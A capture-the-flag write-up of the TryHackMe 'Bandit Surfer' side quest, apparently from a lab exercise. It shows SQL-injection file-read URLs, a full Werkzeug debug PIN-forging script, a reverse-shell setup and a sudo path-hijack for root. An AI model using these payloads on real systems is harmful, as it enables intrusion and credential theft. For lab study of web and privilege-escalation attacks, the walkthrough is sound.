The Bandit Surfer

The Bandit Yeti is surfing to town. - by hadrian3689

All banner and comic images are courtesy of TryHackMe - https://www.tryhackme.com

Getting to SQ4 - The QR Code

The QR Code to Side Quest 3 can be found in the Challenge Task 27 [Day 21] DevSecOps Yule be Poisoned: A Pipeline of Insecure Code!

We look at the merge requests to understand what happened there as part of the challenge.

Within this one merge request we find the user Frostlino, let's have a look at his activity feed.

He deleted a branch there, ok, maybe the QR code could be hidden here.

In the images' directory, we find the defaced image as well as the original.

And lo and behold, the original image contains the QR code for the challenge.

Breaking Into the Best Festival Company

OK, let's start with side quest number 4 and see what we have in front of us.

Recon

We start with a Nmap scan and find only two open ports. SSH is running on port 22 and a web server on port 8000.

The service scan provides us with further important information, including the fact that OpenSSH 8.2p1 is in use and that the web server is a Python Werkzeug web server, often associated with flask web applications.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/sidequest/quest4]
└─$ sudo nmap -sV -p 22,8000 10.10.65.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-22 10:09 EST
Nmap scan report for localhost (10.10.65.23)
Host is up (0.036s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http-alt Werkzeug/3.0.0 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=12/22%Time=6585A692%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,787,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.0
SF:\x20Python/3\.8\.10\r\nDate:\x20Fri,\x2022\x20Dec\x202023\x2015:09:02\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x201752\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
SF:ang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\
SF:x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
SF:x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>The\x20BFG</title>\n\x
SF:20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20Reset\x20
SF:margins\x20and\x20paddings\x20for\x20the\x20body\x20and\x20html\x20elem
SF:ents\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x20html,\x20body\x20{\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20background-image:\x20url\('static/img
SF:s/snow\.gif'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backgr
SF:ound-size:\x20cover;\x20/\*\x20Adjust\x20the\x20background\x20size\x20\
SF:*/\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-position
SF::\x20center\x20top;\x20/\*\x20Center\x20the\x20background\x20image\x20v
SF:ertically\x20and\x20horizontally\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20display:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20flex-direction:\x20column;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20justify-content:\x20center;\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20align-items:\x20center;\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20
SF:NOT\x20FOUND\r\nServer:\x20Werkzeug/3\.0\.0\x20Python/3\.8\.10\r\nDate:
SF:\x20Fri,\x2022\x20Dec\x202023\x2015:09:07\x20GMT\r\nContent-Type:\x20te
SF:xt/html;\x20charset=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20c
SF:lose\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x2
SF:0Found</title>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20wa
SF:s\x20not\x20found\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20t
SF:he\x20URL\x20manually\x20please\x20check\x20your\x20spelling\x20and\x20
SF:try\x20again\.</p>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.12 seconds

Let's first visit the website while the Gobuster scan is running to enumerate the directories. we are greeted with a download portal. If you click on one of the elves, it will be downloaded as an SVG.

When inspecting the source, you will see that /download is passed with the parameter ID to download files. When enumerating further IDs with burp suite, intruder ID 4 only gave a result with a PNG of the Yeti gang. We may be able to exploit this function to exfiltrate other files on the system. Let's continue enumerating for now.

In addition to the download directory, Gobuster also finds the directory console. Nice, Werkzeug / Flask Debug might be enabled and provides us eventually a foothold.

The interactive console is activated, nice. However, it is protected with a pin. But we can easily bypass this by reverse engineering the pin. There is a script for this on hacktricks: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug

However, this requires internal information on the system, which we must first obtain. As already mentioned, the download portal may help us there.

What is the user flag?

Let's try to restore the pin and focus on getting the necessary information from the system. For this we need something like a path traversal vulnerability or a local file inclusion vulnerability for example.

So we take a look at the download portal. Since IDs are used here, there could be a database behind it, let's try a simple SQL injection probe and see what error we get.

And we have a hit, SQL injection is possible, and we also see why it works. The use of string formatting with %s without proper validation or sanitization allows for potential SQL injection attacks.

With the following construct we are able to retrieve arbitrary files, for example the /etc/passwd file in the scope of the user running the service.

10.10.63.23:8000/download?id=' UNION SELECT "file:///etc/passwd" -- -

Attempting to retrieve the user flag has been successful, but we need to progress and exfiltrate more of the system to establish an initial foothold via the Flask debug console 10.10.63.23:8000/download?id=' UNION SELECT "file:///home/mcskidy/user.txt" -- -

Nice, we are able to retrieve files from the system. We move on to the pin exploit. A detailed explanation can be found here: https://www.daehee.com/werkzeug-console-pin-exploit/

For now, we move on with the exploits presented at hacktricks.xyz.

Here, we have to provide the script the following parameters. We already know the user mcskidy from the error message, as well as the path to app.py. We retrieve the private bits by retrieving that information using the download portal.

probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

First, we need the decimal expression of the mac address of the system. We get the MAC at file:///sys/class/net/<device id>/address. To get the device id we query for the file /proc/net/arp, its eth0.

10.10.63.23:8000/download?id=' UNION SELECT "file:///proc/net/arp" -- -

Next, we query for /sys/class/net/eth0/address to get the MAC address. 10.10.63.23:8000/download?id=' UNION SELECT "file:///sys/class/net/eth0/address" -- -

To convert the mac address, we use the following resource, and chose the EUI-48 representation:

Next, we query the machine-id at /etc/machine-id.

10.10.63.23:8000/download?id=' UNION SELECT "file:///etc/machine-id" -- -

We would also be able to get the used hash algorithm and used salt at /home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/__init__.py

10.10.63.23:8000/download?id=' UNION SELECT "file:///home/mcskidy/.local/lib/python3.8/site-packages/werkzeug/debug/init.py" -- -

Now that we have the private bits, we are able to modify the pin cracking script to the challenge needs.

probably_public_bits = [
'mcskidy',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name**'))
'/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'3068463758827',# str(uuid.getnode()),  /sys/class/net/eth0/address
'aee6189caee449718070b58132f2e4ba'# get_machine_id(), /etc/machine-id
]

Here is the following complete script. At this point, only the MAC should be different to yours. Since this is the case, you should get another working pin.

crack_pin.py
import hashlib
from itertools import chain
probably_public_bits = [
    'mcskidy',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name**'))
    '/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '3068463758827',# str(uuid.getnode()),  /sys/class/net/eth0/address
    'aee6189caee449718070b58132f2e4ba'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

We generate the pin and provide it to the login field. Unfortunately, this isn’t a consistent exploit, as in this case and in the initial compromise approach this failed at some points, and you might have to restart the machine.

After restarting the machine only the mac has to be queried again, since this is the only thing that changed.

After updating the script with the new decimal representation of the MAC, we get the following pin.

We provide it to the login mask and are able to use the interactive console.

We use the Python3#2 reverse shell from revshells.com and only use the actual code. (Highlighted one)

We set up a netcat listener on port 4445 and execute the python payload.

We receive a connection back and have a reverse shell as the user mcskidy. First, we upgrade the shell and continue with our enumeration.

Upgrade shell:

https://0xffsec.com/handbook/shells/full-tty/

python3 -c 'import pty; pty.spawn("/bin/bash")'

CRTL+Z

stty raw -echo && fg

We find the user flag in the home directory of mcskidy.

What is the root flag?

From there, we are able to inspect the application folder app of the flask web server. We see that it is a git repository. Let’s see if we can find some valuable information in this repository.

For this we make use of GitTools.

First, we set up a python web server on the victim machine in the app folder, to retrieve all of its information.

We use gitdumper.sh to dump the repository.

Then we move into the folder and run extractor.sh to get the entire commit history.

Via git log, we see all commits. Commit e9855c8a10cb97c287759f498c3314912b7f4713 looks promising, there they changed the MySQL user.

Via git show e9855c8a10cb97c287759f498c3314912b7f4713 we see the changed users, and we are able to get a password for user mcskidy. Let’s check if it is reused.

The credentials are being reused, and we are able to query sudo -l. Here we two valuable information, first the secure path is set to /home/mcskidy.

The secure_path is an environment variable that specifies the directories where the system looks for executable files.

Secondly, we are able to run /usr/bin/bash /opt/check.sh. Nice, so if the script uses something without an absolute path, we are able to control what it is executing by having that binary placed in /home/mcskidy. So there might be our privilege escalation vector.

Looking into /opt we see also .bashrc. That's really odd, strange to find it here. The .bashrc file is normally a script file that is executed whenever a new interactive Bash shell is started for a user. It stands for "Bash Run Commands" This file is commonly found in a user's home directory and is used to customize and configure the behavior of the Bash shell for that specific user.

Oh, and the /opt/.bashrc is also sourced in the script. That is really odd too. At first glance, despite this strange inclusion of bashrc, the script does not seem to offer an entry point. We are only facing absolute paths.

And here comes the mind-blowing part. The square brackets are a synonym for the test command.

The test command is in that bash file via the -n flag inside the .bashrc disabled, but worked running the script, it seems. So the shell command does get disabled, but since it worked, it gets sourced from one of the secure_paths. So a binary is used instead.

See for shell commands like cd:

Here we have our binary, which we can provide in the home directory of mcskidy to escalate privileges.

We set up a reverse shell script in the file [ in /home/mcskidy, set up a listener and executes it to test if it is working.

Nice, we get a connection back.

Ok, we terminate the connection and set up a listener again. Now we execute sudo /bin/bash /opt/checks.sh. We receive a connection back as the root user and head directly to /root.

Here we are able to find the root flag.

What is the yetikey4.txt flag?

Still in /root, we are able to access the yetikey4.txt

Credits To My Team

Check out Sumanroy's writeups: https://sumanroy.gitbook.io/ctf-writeups/

For fully automated exploits created by my teammates, visit their GitHub profiles:

Last updated